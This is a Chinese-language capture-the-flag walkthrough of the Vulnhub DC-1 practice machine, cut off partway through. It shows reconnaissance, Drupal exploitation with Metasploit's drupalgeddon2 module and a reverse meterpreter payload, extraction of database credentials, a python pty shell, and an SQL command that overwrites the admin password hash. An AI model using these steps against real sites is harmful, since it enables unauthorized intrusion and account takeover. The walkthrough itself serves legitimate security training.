1. 程式人生 > >DC-1靶機實戰和分析

DC-1靶機實戰和分析

#前言 我們都知道,對靶機的滲透,可以寬闊自己的解題思路,練習並熟悉相關操作命令,提高自己的能力。下面我就對Vulnhub的DC-1靶機進行滲透,靶機設定了5個flag,咱們依次找到它。並通過圖文形式講解涉及到的相關知識點。DC-1的靶機下載地址為:[https://www.vulnhub.com/entry/dc-1,292/](https://www.vulnhub.com/entry/dc-1,292/) 目標機IP地址:198.162.9.138 攻擊機kali IP地址:198.132.9.129 想要了解SQL注入原理的可以看我的這兩篇文章: [https://www.cnblogs.com/lxfweb/p/13236372.html](https://www.cnblogs.com/lxfweb/p/13236372.html) [https://www.cnblogs.com/lxfweb/p/13275582.html](https://www.cnblogs.com/lxfweb/p/13275582.html) 想要了解XSS原理的可以看我的這兩篇文章: [https://www.cnblogs.com/lxfweb/p/12709061.html](https://www.cnblogs.com/lxfweb/p/12709061.html) [https://www.cnblogs.com/lxfweb/p/13286271.html](https://www.cnblogs.com/lxfweb/p/13286271.html) #目標探測 滲透測試的第一步,是資訊收集,這一步很重要,關係到後面的滲透步驟。下面我們對目標機進行主機發現。因為都在區域網,所以使用內網掃描。 命令:`arp-scan -l` ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200722235538449-1706807553.png) 發現主機IP後,使用nmap進行埠掃描。 命令:`nmap -v -A 192.168.9.138` ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200722235827532-1583371172.png) 發現目標機開放了22、80、111埠。 #尋找flag1 現在我們以80埠作為突破口。通過指紋識別,這裡用到的是whatweb,發現是Drupal cms 版本是7。下面使用MSF進行滲透攻擊。開啟工具,搜尋Drupal的相關模組。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723001623706-1089306958.png) 這裡我選擇第4個模組。讀者可以嘗試其他模組。 輸入命令:`use exploit/unix/webapp/drupal_drupalgeddon2 `載入exploit。然後檢視相關payload,輸入命令:`show payloads` ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723005300385-886255978.png) 這裡選擇15,輸入:`set payload php/meterpreter/reverse_tcp` 接著輸入:`show options` 開啟配置選項。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723013622787-942170787.png) 標為yes的都是必須配置的。現在配置一下RHOSTS(目標機IP),LHOSTS(攻擊機IP),其他預設就行了。 發現獲取到了meterpreter shell。現在檢視一下目錄。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723081151033-1309621608.png) 發現目標,找到flag1。 #尋找flag2 檢視flag1檔案,發現有提示,咱們尋找配置檔案。 接下來進入sites目錄下,接著進入default目錄。檢視settings.php檔案。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723082747296-1736650005.png) 找到了flag2。 #尋找flag3 我們發現配置檔案中有資料庫賬號和密碼。現在嘗試登陸資料庫。 現在進入目標機shell環境,檢視埠情況。命令:`netstat -ano` ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723084733938-1981792195.png) 我們注意到,資料庫只允許本地連線。所以,我們需要反彈一個shell出來。 採用python呼叫系統命令: ``` python -c 'import pty;pty.spawn("/bin/bash")' ``` 發現反彈成功,接下來輸入資料庫賬號密碼連線MySQL資料庫。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723085954307-490300931.png) 下面,我們檢視庫,查看錶。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723090156727-151417550.png) 找關鍵的表,發現裡面存在users表。開啟它。 ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723090628087-317549452.png) 發現了admin賬戶和密碼。但是這個密碼有點複雜,破解有點困難。所以想想其他的方法。這裡我們登陸了對方資料庫,所以,我們採用對方的加密方式覆蓋掉原來的密碼就可以了。 先呼叫命令生成咱們設定的密文。明文是xfaicl。命令:`php scripts/password-hash.sh xfaicl` ![](https://img2020.cnblogs.com/blog/1996712/202007/1996712-20200723091834573-1347430626.png) 接著替換掉原來的密碼。 ``` update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1